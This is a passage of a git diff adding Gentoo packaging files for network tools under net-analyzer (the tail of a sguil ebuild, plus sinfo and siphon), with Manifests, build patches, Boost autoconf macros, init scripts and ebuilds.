+ chown -R sguil:sguil "${ROOT}"/usr/lib/sguild
+
+ if [ -d "${ROOT}"/etc/snort/rules ] ; then
+ ln -s /etc/snort/rules "${ROOT}"/var/lib/sguil/rules/${HOSTNAME}
+ fi
+
+ elog
+ elog "Please customize the sguild configuration files in /etc/sguild before"
+ elog "trying to run the daemon. Additionally you will need to setup the"
+ elog "mysql database. See /usr/share/doc/${PF}/INSTALL.gz for information."
+ elog "Please note that it is STRONGLY recommended to mount a separate"
+ elog "filesystem at /var/lib/sguil for both space and performance reasons"
+ elog "as a large amount of data will be kept in the directory structure"
+ elog "underneath that top directory."
+ elog
+ elog "You should create the sguild db as per the install instructions in"
+ elog "/usr/share/doc/${PF}/ and use the appropriate"
+ elog "database setup script located in the same directory."
+
+ elog
+}
diff --git a/net-analyzer/sinfo/Manifest b/net-analyzer/sinfo/Manifest
new file mode 100644
index 000000000000..5d5b4c71b848
--- /dev/null
+++ b/net-analyzer/sinfo/Manifest
@@ -0,0 +1 @@
+DIST sinfo-0.0.48.tar.gz 703237 SHA256 4b6360f863c408e96ca04092ea6bdd61ee14a9e9151b85f64e12ece541b1933f SHA512 9cbc790883dfd78970a5943599128f1af34a82362fa33e7d6f23d560806dce5955c45f7e82e79adcf7696166d1f39fd1856bae76087a3ba46d54e3e4963d4067 WHIRLPOOL 0056428939007676de7440a1814b03f862a38d64cfe36f616e748d38a1f85e155038712ba2901e1516e13279b61d4fead79136dfd6cbdc0f60e84931e572d919
diff --git a/net-analyzer/sinfo/files/sinfo-0.0.47-tinfo.patch b/net-analyzer/sinfo/files/sinfo-0.0.47-tinfo.patch
new file mode 100644
index 000000000000..939f05b627ad
--- /dev/null
+++ b/net-analyzer/sinfo/files/sinfo-0.0.47-tinfo.patch
@@ -0,0 +1,14 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -54,7 +54,10 @@
+ [ AC_MSG_RESULT(CPUNO_ADJUST disabled) ] )
+
+ dnl ncurses useable?
+-MP_WITH_CURSES
++PKG_CHECK_MODULES(ncurses,ncurses,[
++ CURSES_LIB="$ncurses_LIBS"
++ AC_CHECK_HEADER([ncurses.h],AC_DEFINE(HAVE_NCURSES_H)],
++ AC_MSG_ERROR([ncurses not found])))
+ AC_SUBST(CURSES_LIB)
+
+ dnl check for use_default_colors() ... not available in ncurses << 4.x
diff --git a/net-analyzer/sinfo/files/sinfo-0.0.48-acinclude.m4 b/net-analyzer/sinfo/files/sinfo-0.0.48-acinclude.m4
new file mode 100644
index 000000000000..b67f4346881d
--- /dev/null
+++ b/net-analyzer/sinfo/files/sinfo-0.0.48-acinclude.m4
@@ -0,0 +1,508 @@
+# generated automatically by aclocal 1.11.6 -*- Autoconf -*-
+
+# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004,
+# 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software Foundation,
+# Inc.
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+# ===========================================================================
+# http://www.gnu.org/software/autoconf-archive/ax_boost_base.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+# AX_BOOST_BASE([MINIMUM-VERSION], [ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])
+#
+# DESCRIPTION
+#
+# Test for the Boost C++ libraries of a particular version (or newer)
+#
+# If no path to the installed boost library is given the macro searchs
+# under /usr, /usr/local, /opt and /opt/local and evaluates the
+# $BOOST_ROOT environment variable. Further documentation is available at
+# <http://randspringer.de/boost/index.html>.
+#
+# This macro calls:
+#
+# AC_SUBST(BOOST_CPPFLAGS) / AC_SUBST(BOOST_LDFLAGS)
+#
+# And sets:
+#
+# HAVE_BOOST
+#
+# LICENSE
+#
+# Copyright (c) 2008 Thomas Porschberg <thomas@randspringer.de>
+# Copyright (c) 2009 Peter Adolphs
+#
+# Copying and distribution of this file, with or without modification, are
+# permitted in any medium without royalty provided the copyright notice
+# and this notice are preserved. This file is offered as-is, without any
+# warranty.
+
+#serial 20
+
+AC_DEFUN([AX_BOOST_BASE],
+[
+AC_ARG_WITH([boost],
+ [AS_HELP_STRING([--with-boost@<:@=ARG@:>@],
+ [use Boost library from a standard location (ARG=yes),
+ from the specified location (ARG=<path>),
+ or disable it (ARG=no)
+ @<:@ARG=yes@:>@ ])],
+ [
+ if test "$withval" = "no"; then
+ want_boost="no"
+ elif test "$withval" = "yes"; then
+ want_boost="yes"
+ ac_boost_path=""
+ else
+ want_boost="yes"
+ ac_boost_path="$withval"
+ fi
+ ],
+ [want_boost="yes"])
+
+
+AC_ARG_WITH([boost-libdir],
+ AS_HELP_STRING([--with-boost-libdir=LIB_DIR],
+ [Force given directory for boost libraries. Note that this will override library path detection, so use this parameter only if default library detection fails and you know exactly where your boost libraries are located.]),
+ [
+ if test -d "$withval"
+ then
+ ac_boost_lib_path="$withval"
+ else
+ AC_MSG_ERROR(--with-boost-libdir expected directory name)
+ fi
+ ],
+ [ac_boost_lib_path=""]
+)
+
+if test "x$want_boost" = "xyes"; then
+ boost_lib_version_req=ifelse([$1], ,1.20.0,$1)
+ boost_lib_version_req_shorten=`expr $boost_lib_version_req : '\([[0-9]]*\.[[0-9]]*\)'`
+ boost_lib_version_req_major=`expr $boost_lib_version_req : '\([[0-9]]*\)'`
+ boost_lib_version_req_minor=`expr $boost_lib_version_req : '[[0-9]]*\.\([[0-9]]*\)'`
+ boost_lib_version_req_sub_minor=`expr $boost_lib_version_req : '[[0-9]]*\.[[0-9]]*\.\([[0-9]]*\)'`
+ if test "x$boost_lib_version_req_sub_minor" = "x" ; then
+ boost_lib_version_req_sub_minor="0"
+ fi
+ WANT_BOOST_VERSION=`expr $boost_lib_version_req_major \* 100000 \+ $boost_lib_version_req_minor \* 100 \+ $boost_lib_version_req_sub_minor`
+ AC_MSG_CHECKING(for boostlib >= $boost_lib_version_req)
+ succeeded=no
+
+ dnl On 64-bit systems check for system libraries in both lib64 and lib.
+ dnl The former is specified by FHS, but e.g. Debian does not adhere to
+ dnl this (as it rises problems for generic multi-arch support).
+ dnl The last entry in the list is chosen by default when no libraries
+ dnl are found, e.g. when only header-only libraries are installed!
+ libsubdirs="lib"
+ ax_arch=`uname -m`
+ if test $ax_arch = x86_64 -o $ax_arch = ppc64 -o $ax_arch = s390x -o $ax_arch = sparc64; then
+ libsubdirs="lib64 lib lib64"
+ fi
+
+ dnl first we check the system location for boost libraries
+ dnl this location ist chosen if boost libraries are installed with the --layout=system option
+ dnl or if you install boost with RPM
+ if test "$ac_boost_path" != ""; then
+ BOOST_CPPFLAGS="-I$ac_boost_path/include"
+ for ac_boost_path_tmp in $libsubdirs; do
+ if test -d "$ac_boost_path"/"$ac_boost_path_tmp" ; then
+ BOOST_LDFLAGS="-L$ac_boost_path/$ac_boost_path_tmp"
+ break
+ fi
+ done
+ elif test "$cross_compiling" != yes; then
+ for ac_boost_path_tmp in /usr /usr/local /opt /opt/local ; do
+ if test -d "$ac_boost_path_tmp/include/boost" && test -r "$ac_boost_path_tmp/include/boost"; then
+ for libsubdir in $libsubdirs ; do
+ if ls "$ac_boost_path_tmp/$libsubdir/libboost_"* >/dev/null 2>&1 ; then break; fi
+ done
+ BOOST_LDFLAGS="-L$ac_boost_path_tmp/$libsubdir"
+ BOOST_CPPFLAGS="-I$ac_boost_path_tmp/include"
+ break;
+ fi
+ done
+ fi
+
+ dnl overwrite ld flags if we have required special directory with
+ dnl --with-boost-libdir parameter
+ if test "$ac_boost_lib_path" != ""; then
+ BOOST_LDFLAGS="-L$ac_boost_lib_path"
+ fi
+
+ CPPFLAGS_SAVED="$CPPFLAGS"
+ CPPFLAGS="$CPPFLAGS $BOOST_CPPFLAGS"
+ export CPPFLAGS
+
+ LDFLAGS_SAVED="$LDFLAGS"
+ LDFLAGS="$LDFLAGS $BOOST_LDFLAGS"
+ export LDFLAGS
+
+ AC_REQUIRE([AC_PROG_CXX])
+ AC_LANG_PUSH(C++)
+ AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[
+ @%:@include <boost/version.hpp>
+ ]], [[
+ #if BOOST_VERSION >= $WANT_BOOST_VERSION
+ // Everything is okay
+ #else
+ # error Boost version is too old
+ #endif
+ ]])],[
+ AC_MSG_RESULT(yes)
+ succeeded=yes
+ found_system=yes
+ ],[
+ ])
+ AC_LANG_POP([C++])
+
+
+
+ dnl if we found no boost with system layout we search for boost libraries
+ dnl built and installed without the --layout=system option or for a staged(not installed) version
+ if test "x$succeeded" != "xyes"; then
+ _version=0
+ if test "$ac_boost_path" != ""; then
+ if test -d "$ac_boost_path" && test -r "$ac_boost_path"; then
+ for i in `ls -d $ac_boost_path/include/boost-* 2>/dev/null`; do
+ _version_tmp=`echo $i | sed "s#$ac_boost_path##" | sed 's/\/include\/boost-//' | sed 's/_/./'`
+ V_CHECK=`expr $_version_tmp \> $_version`
+ if test "$V_CHECK" = "1" ; then
+ _version=$_version_tmp
+ fi
+ VERSION_UNDERSCORE=`echo $_version | sed 's/\./_/'`
+ BOOST_CPPFLAGS="-I$ac_boost_path/include/boost-$VERSION_UNDERSCORE"
+ done
+ fi
+ else
+ if test "$cross_compiling" != yes; then
+ for ac_boost_path in /usr /usr/local /opt /opt/local ; do
+ if test -d "$ac_boost_path" && test -r "$ac_boost_path"; then
+ for i in `ls -d $ac_boost_path/include/boost-* 2>/dev/null`; do
+ _version_tmp=`echo $i | sed "s#$ac_boost_path##" | sed 's/\/include\/boost-//' | sed 's/_/./'`
+ V_CHECK=`expr $_version_tmp \> $_version`
+ if test "$V_CHECK" = "1" ; then
+ _version=$_version_tmp
+ best_path=$ac_boost_path
+ fi
+ done
+ fi
+ done
+
+ VERSION_UNDERSCORE=`echo $_version | sed 's/\./_/'`
+ BOOST_CPPFLAGS="-I$best_path/include/boost-$VERSION_UNDERSCORE"
+ if test "$ac_boost_lib_path" = ""; then
+ for libsubdir in $libsubdirs ; do
+ if ls "$best_path/$libsubdir/libboost_"* >/dev/null 2>&1 ; then break; fi
+ done
+ BOOST_LDFLAGS="-L$best_path/$libsubdir"
+ fi
+ fi
+
+ if test "x$BOOST_ROOT" != "x"; then
+ for libsubdir in $libsubdirs ; do
+ if ls "$BOOST_ROOT/stage/$libsubdir/libboost_"* >/dev/null 2>&1 ; then break; fi
+ done
+ if test -d "$BOOST_ROOT" && test -r "$BOOST_ROOT" && test -d "$BOOST_ROOT/stage/$libsubdir" && test -r "$BOOST_ROOT/stage/$libsubdir"; then
+ version_dir=`expr //$BOOST_ROOT : '.*/\(.*\)'`
+ stage_version=`echo $version_dir | sed 's/boost_//' | sed 's/_/./g'`
+ stage_version_shorten=`expr $stage_version : '\([[0-9]]*\.[[0-9]]*\)'`
+ V_CHECK=`expr $stage_version_shorten \>\= $_version`
+ if test "$V_CHECK" = "1" -a "$ac_boost_lib_path" = "" ; then
+ AC_MSG_NOTICE(We will use a staged boost library from $BOOST_ROOT)
+ BOOST_CPPFLAGS="-I$BOOST_ROOT"
+ BOOST_LDFLAGS="-L$BOOST_ROOT/stage/$libsubdir"
+ fi
+ fi
+ fi
+ fi
+
+ CPPFLAGS="$CPPFLAGS $BOOST_CPPFLAGS"
+ export CPPFLAGS
+ LDFLAGS="$LDFLAGS $BOOST_LDFLAGS"
+ export LDFLAGS
+
+ AC_LANG_PUSH(C++)
+ AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[
+ @%:@include <boost/version.hpp>
+ ]], [[
+ #if BOOST_VERSION >= $WANT_BOOST_VERSION
+ // Everything is okay
+ #else
+ # error Boost version is too old
+ #endif
+ ]])],[
+ AC_MSG_RESULT(yes)
+ succeeded=yes
+ found_system=yes
+ ],[
+ ])
+ AC_LANG_POP([C++])
+ fi
+
+ if test "$succeeded" != "yes" ; then
+ if test "$_version" = "0" ; then
+ AC_MSG_NOTICE([[We could not detect the boost libraries (version $boost_lib_version_req_shorten or higher). If you have a staged boost library (still not installed) please specify \$BOOST_ROOT in your environment and do not give a PATH to --with-boost option. If you are sure you have boost installed, then check your version number looking in <boost/version.hpp>. See http://randspringer.de/boost for more documentation.]])
+ else
+ AC_MSG_NOTICE([Your boost libraries seems to old (version $_version).])
+ fi
+ # execute ACTION-IF-NOT-FOUND (if present):
+ ifelse([$3], , :, [$3])
+ else
+ AC_SUBST(BOOST_CPPFLAGS)
+ AC_SUBST(BOOST_LDFLAGS)
+ AC_DEFINE(HAVE_BOOST,,[define if the Boost library is available])
+ # execute ACTION-IF-FOUND (if present):
+ ifelse([$2], , :, [$2])
+ fi
+
+ CPPFLAGS="$CPPFLAGS_SAVED"
+ LDFLAGS="$LDFLAGS_SAVED"
+fi
+
+])
+
+# ===========================================================================
+# http://www.gnu.org/software/autoconf-archive/ax_boost_signals.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+# AX_BOOST_SIGNALS
+#
+# DESCRIPTION
+#
+# Test for Signals library from the Boost C++ libraries. The macro
+# requires a preceding call to AX_BOOST_BASE. Further documentation is
+# available at <http://randspringer.de/boost/index.html>.
+#
+# This macro calls:
+#
+# AC_SUBST(BOOST_SIGNALS_LIB)
+#
+# And sets:
+#
+# HAVE_BOOST_SIGNALS
+#
+# LICENSE
+#
+# Copyright (c) 2008 Thomas Porschberg <thomas@randspringer.de>
+# Copyright (c) 2008 Michael Tindal
+#
+# Copying and distribution of this file, with or without modification, are
+# permitted in any medium without royalty provided the copyright notice
+# and this notice are preserved. This file is offered as-is, without any
+# warranty.
+
+#serial 19
+
+AC_DEFUN([AX_BOOST_SIGNALS],
+[
+ AC_ARG_WITH([boost-signals],
+ AS_HELP_STRING([--with-boost-signals@<:@=special-lib@:>@],
+ [use the Signals library from boost - it is possible to specify a certain library for the linker
+ e.g. --with-boost-signals=boost_signals-gcc-mt-d ]),
+ [
+ if test "$withval" = "no"; then
+ want_boost="no"
+ elif test "$withval" = "yes"; then
+ want_boost="yes"
+ ax_boost_user_signals_lib=""
+ else
+ want_boost="yes"
+ ax_boost_user_signals_lib="$withval"
+ fi
+ ],
+ [want_boost="yes"]
+ )
+
+ if test "x$want_boost" = "xyes"; then
+ AC_REQUIRE([AC_PROG_CC])
+ CPPFLAGS_SAVED="$CPPFLAGS"
+ CPPFLAGS="$CPPFLAGS $BOOST_CPPFLAGS"
+ export CPPFLAGS
+
+ LDFLAGS_SAVED="$LDFLAGS"
+ LDFLAGS="$LDFLAGS $BOOST_LDFLAGS"
+ export LDFLAGS
+
+ AC_CACHE_CHECK(whether the Boost::Signals library is available,
+ ax_cv_boost_signals,
+ [AC_LANG_PUSH([C++])
+ AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[@%:@include <boost/signal.hpp>
+ ]],
+ [[boost::signal<void ()> sig;
+ return 0;
+ ]])],
+ ax_cv_boost_signals=yes, ax_cv_boost_signals=no)
+ AC_LANG_POP([C++])
+ ])
+ if test "x$ax_cv_boost_signals" = "xyes"; then
+ AC_DEFINE(HAVE_BOOST_SIGNALS,,[define if the Boost::Signals library is available])
+ BOOSTLIBDIR=`echo $BOOST_LDFLAGS | sed -e 's/@<:@^\/@:>@*//'`
+ if test "x$ax_boost_user_signals_lib" = "x"; then
+ for libextension in `ls $BOOSTLIBDIR/libboost_signals*.so* $BOOSTLIBDIR/libboost_signals*.a* 2>/dev/null | sed 's,.*/,,' | sed -e 's;^lib\(boost_signals.*\)\.so.*$;\1;' -e 's;^lib\(boost_signals.*\)\.a*$;\1;'` ; do
+ ax_lib=${libextension}
+ AC_CHECK_LIB($ax_lib, exit,
+ [BOOST_SIGNALS_LIB="-l$ax_lib"; AC_SUBST(BOOST_SIGNALS_LIB) link_signals="yes"; break],
+ [link_signals="no"])
+ done
+ if test "x$link_signals" != "xyes"; then
+ for libextension in `ls $BOOSTLIBDIR/boost_signals*.{dll,a}* 2>/dev/null | sed 's,.*/,,' | sed -e 's;^\(boost_signals.*\)\.dll.*$;\1;' -e 's;^\(boost_signals.*\)\.a*$;\1;'` ; do
+ ax_lib=${libextension}
+ AC_CHECK_LIB($ax_lib, exit,
+ [BOOST_SIGNALS_LIB="-l$ax_lib"; AC_SUBST(BOOST_SIGNALS_LIB) link_signals="yes"; break],
+ [link_signals="no"])
+ done
+ fi
+
+ else
+ for ax_lib in $ax_boost_user_signals_lib boost_signals-$ax_boost_user_signals_lib; do
+ AC_CHECK_LIB($ax_lib, main,
+ [BOOST_SIGNALS_LIB="-l$ax_lib"; AC_SUBST(BOOST_SIGNALS_LIB) link_signals="yes"; break],
+ [link_signals="no"])
+ done
+
+ fi
+ if test "x$ax_lib" = "x"; then
+ AC_MSG_ERROR(Could not find a version of the library!)
+ fi
+ if test "x$link_signals" != "xyes"; then
+ AC_MSG_ERROR(Could not link against $ax_lib !)
+ fi
+ fi
+
+ CPPFLAGS="$CPPFLAGS_SAVED"
+ LDFLAGS="$LDFLAGS_SAVED"
+ fi
+])
+
+# ===========================================================================
+# http://www.gnu.org/software/autoconf-archive/ax_boost_system.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+# AX_BOOST_SYSTEM
+#
+# DESCRIPTION
+#
+# Test for System library from the Boost C++ libraries. The macro requires
+# a preceding call to AX_BOOST_BASE. Further documentation is available at
+# <http://randspringer.de/boost/index.html>.
+#
+# This macro calls:
+#
+# AC_SUBST(BOOST_SYSTEM_LIB)
+#
+# And sets:
+#
+# HAVE_BOOST_SYSTEM
+#
+# LICENSE
+#
+# Copyright (c) 2008 Thomas Porschberg <thomas@randspringer.de>
+# Copyright (c) 2008 Michael Tindal
+# Copyright (c) 2008 Daniel Casimiro <dan.casimiro@gmail.com>
+#
+# Copying and distribution of this file, with or without modification, are
+# permitted in any medium without royalty provided the copyright notice
+# and this notice are preserved. This file is offered as-is, without any
+# warranty.
+
+#serial 14
+
+AC_DEFUN([AX_BOOST_SYSTEM],
+[
+ AC_ARG_WITH([boost-system],
+ AS_HELP_STRING([--with-boost-system@<:@=special-lib@:>@],
+ [use the System library from boost - it is possible to specify a certain library for the linker
+ e.g. --with-boost-system=boost_system-gcc-mt ]),
+ [
+ if test "$withval" = "no"; then
+ want_boost="no"
+ elif test "$withval" = "yes"; then
+ want_boost="yes"
+ ax_boost_user_system_lib=""
+ else
+ want_boost="yes"
+ ax_boost_user_system_lib="$withval"
+ fi
+ ],
+ [want_boost="yes"]
+ )
+
+ if test "x$want_boost" = "xyes"; then
+ AC_REQUIRE([AC_PROG_CC])
+ AC_REQUIRE([AC_CANONICAL_BUILD])
+ CPPFLAGS_SAVED="$CPPFLAGS"
+ CPPFLAGS="$CPPFLAGS $BOOST_CPPFLAGS"
+ export CPPFLAGS
+
+ LDFLAGS_SAVED="$LDFLAGS"
+ LDFLAGS="$LDFLAGS $BOOST_LDFLAGS"
+ export LDFLAGS
+
+ AC_CACHE_CHECK(whether the Boost::System library is available,
+ ax_cv_boost_system,
+ [AC_LANG_PUSH([C++])
+ CXXFLAGS_SAVE=$CXXFLAGS
+
+ AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[@%:@include <boost/system/error_code.hpp>]],
+ [[boost::system::system_category]])],
+ ax_cv_boost_system=yes, ax_cv_boost_system=no)
+ CXXFLAGS=$CXXFLAGS_SAVE
+ AC_LANG_POP([C++])
+ ])
+ if test "x$ax_cv_boost_system" = "xyes"; then
+ AC_SUBST(BOOST_CPPFLAGS)
+
+ AC_DEFINE(HAVE_BOOST_SYSTEM,,[define if the Boost::System library is available])
+ BOOSTLIBDIR=`echo $BOOST_LDFLAGS | sed -e 's/@<:@^\/@:>@*//'`
+
+ LDFLAGS_SAVE=$LDFLAGS
+ if test "x$ax_boost_user_system_lib" = "x"; then
+ for libextension in `ls $BOOSTLIBDIR/libboost_system*.so* $BOOSTLIBDIR/libboost_system*.a* 2>/dev/null | sed 's,.*/,,' | sed -e 's;^lib\(boost_system.*\)\.so.*$;\1;' -e 's;^lib\(boost_system.*\)\.a*$;\1;'` ; do
+ ax_lib=${libextension}
+ AC_CHECK_LIB($ax_lib, exit,
+ [BOOST_SYSTEM_LIB="-l$ax_lib"; AC_SUBST(BOOST_SYSTEM_LIB) link_system="yes"; break],
+ [link_system="no"])
+ done
+ if test "x$link_system" != "xyes"; then
+ for libextension in `ls $BOOSTLIBDIR/boost_system*.{dll,a}* 2>/dev/null | sed 's,.*/,,' | sed -e 's;^\(boost_system.*\)\.dll.*$;\1;' -e 's;^\(boost_system.*\)\.a*$;\1;'` ; do
+ ax_lib=${libextension}
+ AC_CHECK_LIB($ax_lib, exit,
+ [BOOST_SYSTEM_LIB="-l$ax_lib"; AC_SUBST(BOOST_SYSTEM_LIB) link_system="yes"; break],
+ [link_system="no"])
+ done
+ fi
+
+ else
+ for ax_lib in $ax_boost_user_system_lib boost_system-$ax_boost_user_system_lib; do
+ AC_CHECK_LIB($ax_lib, exit,
+ [BOOST_SYSTEM_LIB="-l$ax_lib"; AC_SUBST(BOOST_SYSTEM_LIB) link_system="yes"; break],
+ [link_system="no"])
+ done
+
+ fi
+ if test "x$ax_lib" = "x"; then
+ AC_MSG_ERROR(Could not find a version of the library!)
+ fi
+ if test "x$link_system" = "xno"; then
+ AC_MSG_ERROR(Could not link against $ax_lib !)
+ fi
+ fi
+
+ CPPFLAGS="$CPPFLAGS_SAVED"
+ LDFLAGS="$LDFLAGS_SAVED"
+ fi
+])
diff --git a/net-analyzer/sinfo/files/sinfod.confd b/net-analyzer/sinfo/files/sinfod.confd
new file mode 100644
index 000000000000..c3b210b743dd
--- /dev/null
+++ b/net-analyzer/sinfo/files/sinfod.confd
@@ -0,0 +1,4 @@
+# /etc/conf.d/sinfod: config file for /etc/init.d/sinfod
+
+# Various sinfod options
+SINFOD_OPTS="--quiet"
diff --git a/net-analyzer/sinfo/files/sinfod.initd b/net-analyzer/sinfo/files/sinfod.initd
new file mode 100644
index 000000000000..00af95503263
--- /dev/null
+++ b/net-analyzer/sinfo/files/sinfod.initd
@@ -0,0 +1,11 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+command="/usr/sbin/${SVCNAME}"
+command_args="${SINFOD_OPTS}"
+
+depend() {
+ need net
+}
diff --git a/net-analyzer/sinfo/metadata.xml b/net-analyzer/sinfo/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/sinfo/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/sinfo/sinfo-0.0.48.ebuild b/net-analyzer/sinfo/sinfo-0.0.48.ebuild
new file mode 100644
index 000000000000..e2f1f682ec76
--- /dev/null
+++ b/net-analyzer/sinfo/sinfo-0.0.48.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="A monitoring tool for networked computers"
+HOMEPAGE="http://www.ant.uni-bremen.de/whomes/rinas/sinfo/"
+SRC_URI="${HOMEPAGE}download/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ipv6 static-libs"
+
+RDEPEND="
+ !sys-cluster/slurm
+ dev-libs/boost
+ sys-libs/ncurses
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ cp "${FILESDIR}"/${P}-acinclude.m4 acinclude.m4 || die
+ epatch "${FILESDIR}"/${PN}-0.0.47-tinfo.patch
+ eautoreconf
+}
+
+DOCS=( AUTHORS ChangeLog README )
+
+src_configure() {
+ econf $(use_enable ipv6 IPv6)
+}
+
+src_install() {
+ default
+
+ newconfd "${FILESDIR}"/sinfod.confd sinfod
+ newinitd "${FILESDIR}"/sinfod.initd sinfod
+}
diff --git a/net-analyzer/siphon/Manifest b/net-analyzer/siphon/Manifest
new file mode 100644
index 000000000000..624034728f22
--- /dev/null
+++ b/net-analyzer/siphon/Manifest
@@ -0,0 +1 @@
+DIST siphon-v.666.tar.gz 6951 SHA256 797063d1d38017aef05b78d7e475cc5fbbb3c7efebb62fdda8eb38a6271ec297 SHA512 d355e80e7f102af13be9663d8e7cb28d3f3dc823d79192c287a5800e1239e4f37720b449a879605e5df0da1bb8accc3c70a605d94fc925788fe4a2e7bead650a WHIRLPOOL 7aa1faea6d9e486afc337b66c34e605f3ccabe0d2f7f8aa580e751e08efa9237d5b5f2744d9a66e9b9db32dd5c086fcfc3149a650771474fbdf8c668b9c1ec18
diff --git a/net-analyzer/siphon/files/siphon-666-gentoo.patch b/net-analyzer/siphon/files/siphon-666-gentoo.patch
new file mode 100644
index 000000000000..eea6d93b802e
--- /dev/null
+++ b/net-analyzer/siphon/files/siphon-666-gentoo.patch
@@ -0,0 +1,19 @@
+--- a/Makefile
++++ b/Makefile
+@@ -1,6 +1,6 @@
+ CC = gcc
+ CCFLAGS = -Wall -pthread -ggdb
+-CFLAGS = -Wall -O2 -pthread -ggdb -I.
++CFLAGS += -pthread -Wall -I.
+ LIBS = -lpcap
+ OBJS = parse.o sniff.o main.o log.o
+ SRCS = ${OBJS:.o=.c}
+@@ -9,7 +9,7 @@
+ all: $(TARGET)
+
+ $(TARGET): $(OBJS)
+- $(CC) $(CCFLAGS) -o $(TARGET) $(OBJS) $(LIBS)
++ $(CC) $(CCFLAGS) $(LDFLAGS) -o $(TARGET) $(OBJS) $(LIBS)
+
+ clean:
+ rm -f $(OBJS) *~ *.core core siphon
diff --git a/net-analyzer/siphon/files/siphon-666-log.patch b/net-analyzer/siphon/files/siphon-666-log.patch
new file mode 100644
index 000000000000..07d2de4d4d12
--- /dev/null
+++ b/net-analyzer/siphon/files/siphon-666-log.patch
@@ -0,0 +1,46 @@
+--- a/main.c
++++ b/main.c
+@@ -98,7 +98,7 @@
+ pti_parse.pti_pd[1] = pd_parse2log[1];
+
+ pthread_create (&parse_thread, NULL, (void *) parse, &pti_parse);
+- pthread_create(&log_thread,NULL,(void *)log, (void *)pd_parse2log[0]);
++ pthread_create(&log_thread,NULL,(void *)siphon_log, (void *)pd_parse2log[0]);
+ pthread_create (&sniff_thread, NULL, (void *) sniff_network,
+ &pd_sniff2parse[1]);
+
+--- a/log.c
++++ b/log.c
+@@ -19,7 +19,7 @@
+
+ int tag = 0;
+
+-void *log(void *pipe)
++void *siphon_log(void *pipe)
+ {
+ struct parse2log *info;
+ char hashed[100], buf[1024], *os, *proto = NULL, *df;
+@@ -137,10 +137,10 @@
+ FILE *osprints;
+ static char line[80], *oswin, *osttl, *osdf, *os, hexed[10];
+ static int check = 0;
+- osprints = fopen("osprints.conf","r");
++ osprints = fopen("/etc/osprints.conf","r");
+
+ if(!osprints) {
+- perror("Unable to find osprints.conf\n");
++ perror("Unable to find /etc/osprints.conf\n");
+ return "Unknown";
+ }
+
+--- a/siphon.h
++++ b/siphon.h
+@@ -49,7 +49,7 @@
+
+ void *sniff_network (void *);
+ void *parse (void *);
+-void *log(void *);
++void *siphon_log(void *);
+
+ char *device, *logfile;
+ int verbose, back;
diff --git a/net-analyzer/siphon/metadata.xml b/net-analyzer/siphon/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/siphon/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/siphon/siphon-666-r1.ebuild b/net-analyzer/siphon/siphon-666-r1.ebuild
new file mode 100644
index 000000000000..8a04bbb3e1c8
--- /dev/null
+++ b/net-analyzer/siphon/siphon-666-r1.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+MY_P=${PN}-v.${PV}
+
+DESCRIPTION="A portable passive network mapping suite"
+HOMEPAGE="http://siphon.datanerds.net/"
+SRC_URI="${HOMEPAGE}${MY_P}.tar.gz"
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+
+DEPEND="net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+ epatch "${FILESDIR}"/${P}-log.patch
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install() {
+ dobin ${PN}
+ insinto /etc
+ doins osprints.conf
+ dodoc README
+}
diff --git a/net-analyzer/slurm/Manifest b/net-analyzer/slurm/Manifest
new file mode 100644
index 000000000000..5f06db15c49c
--- /dev/null
+++ b/net-analyzer/slurm/Manifest
@@ -0,0 +1 @@
